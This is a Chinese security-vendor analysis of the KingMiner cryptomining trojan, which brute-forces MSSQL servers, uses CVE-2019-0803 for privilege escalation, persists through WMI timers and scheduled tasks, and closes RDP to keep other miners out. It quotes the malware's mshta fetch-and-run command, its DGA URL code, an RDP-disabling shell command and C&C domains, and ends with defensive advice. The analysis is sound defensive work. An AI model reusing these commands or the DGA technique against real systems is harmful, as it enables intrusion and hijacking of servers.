-
-
[原创]针对SQL弱口令的爆破攻击再度袭来,KingMiner矿工已控制上万电脑
-
发表于: 2019-11-27 18:34 3224
-
腾讯安全御见威胁情报中心检测到KingMiner变种攻击,KingMiner是一种针对Windows服务器MSSQL进行爆破攻击的门罗币挖矿木马。该木马最早于2018年6月中旬首次出现,并在随后迅速发布了两个改进版本。攻击者采用了多种逃避技术来绕过虚拟机环境和安全检测,导致一些反病毒引擎无法准确检测。
当前版本KingMiner具有以下特点:
1. 针对MSSQL进行爆破攻击入侵;
2. 利用WMI定时器和Windows计划任务进行持久化攻击;
3. 关闭存在CVE-2019-0708漏洞机器上RDP服务防止其他挖矿团伙入侵,以独占已控制的服务器资源;
4. 使用base64和特定编码的XML,TXT,PNG文件来加密木马程序;
5. 利用微软和多个知名厂商的签名文件作为父进程,“白+黑”启动木马DLL。
根据腾讯安全御见威胁情报中心统计数据,KingMiner影响超过一万台电脑,其中受影响最严重的地区为广东、重庆、北京、上海等地。
KingMiner在MSSQL爆破入侵成功后,首先执行一段VBS脚本(tl.txt/vk.txt),检测操作系统版本,并根据不同的系统版本下载不同的Payload文件,利用下载的文件进行提权以及门罗币挖矿。同时还会安装WMI定时器和Windows计划任务来反复执行指定脚本,执行服务器返回的恶意代码达到持久化攻击的目的。
KingMiner变种攻击流程
vk.txt从http[:]// w.30713fdae.tk/32tl.zip下载经过base64编码的二进制blob文件,经过解码后保存为C:\Users\Public\Downloads\<random>\tool.exe
tool.exe 利用Windows权限提升漏洞CVE-2019-0803进行攻击,成功利用此漏洞的攻击者可以在内核模式下运行任意代码,然后可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。
tool.exe在特权模式下执行命令mshta.exe vbscript:GetObject(\"script:http[:]//aa.30583fdae.tk/r1.txt\")(window.close),通过mshta.exe执行脚本r1.txt来进行持久化。
r1.txt配置名为WindowsSystemUpdate _WMITimer的计时器,并将执行一段脚本代码的事件消费者WindowsSystemUpdate _consumer通过事件过滤器WindowsSystemUpdate _filter绑定到计时器,从而通过计时器每15分钟执行一次下面的VBS脚本代码:
这段VBS代码根据不同情况采取两种方法生成URL,接着通过访问生成的URL下载第二阶段的Payload运行。
1.URL由IP地址转化为ASCII后拼接而成
脚本运行nslookup命令查询C&C域名news.g23thr.com的DNS记录,当news.g23thr.com解析的IP地址为xxx.xxx.xxx.120,则访问URL “http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/mgxbox.txt”
2.URL由与时间相关的DGA域名拼接而成
当查询DNS返回IP不符合指定格式,则DGA域名通过当前时间的年、月、日、分钟、秒数值计算得到,算法如下:
u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"
url = "http://"&minute(now())&second(now())&"."&u&"/mgxbox.txt"
r1.txt通过RegisterTaskDefinition创建名为WindowsMonitor的计划任务,每15分钟执行一次如下脚本;或者安装触发条件为系统启动的计划任务WindowsHelper,并在WindowsHelper触发后再次安装WindowsMonitor定时任务执行同一段脚本:
计划任务最终执行的脚本如下:
计划任务执行的VBS脚本与WMITimer执行的脚本类似,通过DNS查询返回的数据,或者获取时间转换后生成的DGA域名拼接URL,执行访问URL后返回的代码。
url=“http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/pow.txt”
或者
u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"
url = "http://"&minute(now())&second(now())&"."&u&"/pow.txt"
当前访问url返回的代码如下:
CreateObject("WScript.Shell").Run "cmd /c ver |findstr ""5.0 5.1 5.2 6.0 6.1""&&wmic qfe GET hotfixid |findstr /i ""kb4499175 kb4500331 KB4499149 KB4499180 KB4499164""||wmic RDTOGGLE WHERE Server call SetAllowTSConnections 0",0,False
返回代码的功能为:
获取计算机版本并判断计算机版本是否受CVE-2019-0708漏洞的影响且计算机是否安装特定补丁(kb4499175 kb4500331 KB4499149 KB4499180 KB4499164为微软发布的CVE-2019-0708远程桌面服务远程代码执行漏洞的补丁号)。
如果没有安装补丁,则修改设置禁止其他机器通过远程桌面服务访问本机,通过这种方式来阻止其他木马进入系统,从而达到独占挖矿资源的目的。
vbs脚本tl.txt从http[:]// w.30713fdae.tk/32a1.zip下载经过base64编码的二进制blob文件。
文件解码并解压后保存至C:\Users\Public\Downloads\<random>\目录下,其中<random>为取当前时间“年月日时分秒”格式生成的字符。
alger.exe为微软系统文件credwiz.exed,功能描述为Credential Backup and Restore Wizard(凭据备份和还原向导),该程序在启动后自动加载系统DLL文件duer.dll并调用其导出函数InitGadgets()。
除了微软系统文件外,KingMiner在挖矿木马的“白+黑”启动过程中还利用了多个知名公司的含数字签名的文件来逃避杀软检测,利用正常的有数字签名的白文件来调用恶意dll,目前发现的包括以下数字签名:
“GuangZhou KuGou Computer Technology Co.,Ltd.”
“Google Inc”
“福建创意嘉和软件有限公司”
32a1.zip/64a1.zip解压后在同一目录下释放受信任的系统文件alger.exe(credwiz.exed)和恶意的duer.dll,利用alger.exe加载duer.dll并调用其导出的InitGadgets(),从而在InitGadgets()中解密保存在同目录下的x.txt或x/y/z.png中的XMRig挖矿程序代码,并启动门罗币挖矿过程。
我们建议企业针对KingMiner挖矿木马的技术特点采取针对性的防御措施:
1.根据微软官方公告修复特权提升漏洞CVE-2019-0803:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803
2、加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿继续使用弱口令,特别是sa账号密码,防止黑客暴力破解。
3、修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。
4、企业用户可在服务器部署腾讯御点终端安全管理系统,从而防范此类攻击。
5、推荐企业使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!